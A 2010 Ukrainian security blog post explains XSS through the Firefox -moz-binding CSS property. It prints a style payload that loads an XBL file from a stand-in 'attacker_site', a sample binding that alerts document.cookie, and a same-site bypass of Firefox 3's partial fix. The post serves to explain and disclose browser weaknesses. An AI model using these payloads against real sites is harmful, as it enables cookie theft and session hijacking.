XSS атаки в Mozilla Firefox через стилі

21:34 07.01.2010

При наявності XSS уразливості на сайті, у випадку коли немає можливості використовувати кутові дужки (або при забороні необхідних html-тегів), можна провести атаку через стилі - через властивість style в html-об’єтах. ЇЇ можна використати в різних html-тегах: <a>, <p> та інших.

Дані атаки можуть проводитися як через reflected XSS, так і через persistent XSS уразливості. Зокрема в браузерах Mozilla і Firefox (та інших браузерах на движку Gecko), XSS атаки через стилі можуть проводитися за допомогою властивості -moz-binding.

Для XSS атаки на сайті http://site потрібно вказати в -moz-binding лінку на xml-файл з JS-кодом, який може знаходитися на будь-якому сайті (наприклад, http://attacker_site).

<p style="-moz-binding:url('http://attacker_site/xss.xml#xss')">XSS</p>

Приклад xml-файла для демонстрації XSS атаки:

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>
alert(document.cookie);
</constructor>
</implementation>
</binding>
</bindings>

Приклад подібної атаки з використанням -moz-binding я наводив на fileshare.in.ua.

Дані атаки працювали в браузерах Mozilla та Firefox до Firefox 3. Післі виходу 17.06.2008 Firefox 3 дані атаки перестали в ньому працювати, бо в Firefox 3 даний вектор XSS атаки був виправлений. Але виправлений лише частково і дане виправлення можна обійти і провести XSS атаку.

Для XSS атаки в Firefox 3 на сайті http://site потрібно розмістити xml-файл на даному сайті і вказати в -moz-binding лінку на xml-файл з JS-кодом. Шлях до xml-файла може бути абсолютним, або відносним.

<p style="-moz-binding:url('http://site/xss.xml#xss')">XSS</p>

Так що в версіях Firefox 3 і вище даний вектор XSS атаки все ще працює (при використанні xml-файла на тому самому сайті, де і XSS уразливість). І при наявності на сайті аплоадера для завантаження xml-файла, дану XSS атаку легко можно провести.

Для тих, кому потрібна автоматизована XSS атака (через inline-стилі), без використання -moz-binding, то для цього можна використати іншу техніку атаки (про яку я вже писав). Що буде працювати як на сайтах з аплоадерами, так і на всіх інших сайтах, як в Firefox 2 і попередніх версіях, так і в Firefox 3 і вище, а також в усіх інших браузерах.


Leave a Reply

You must be logged in to post a comment.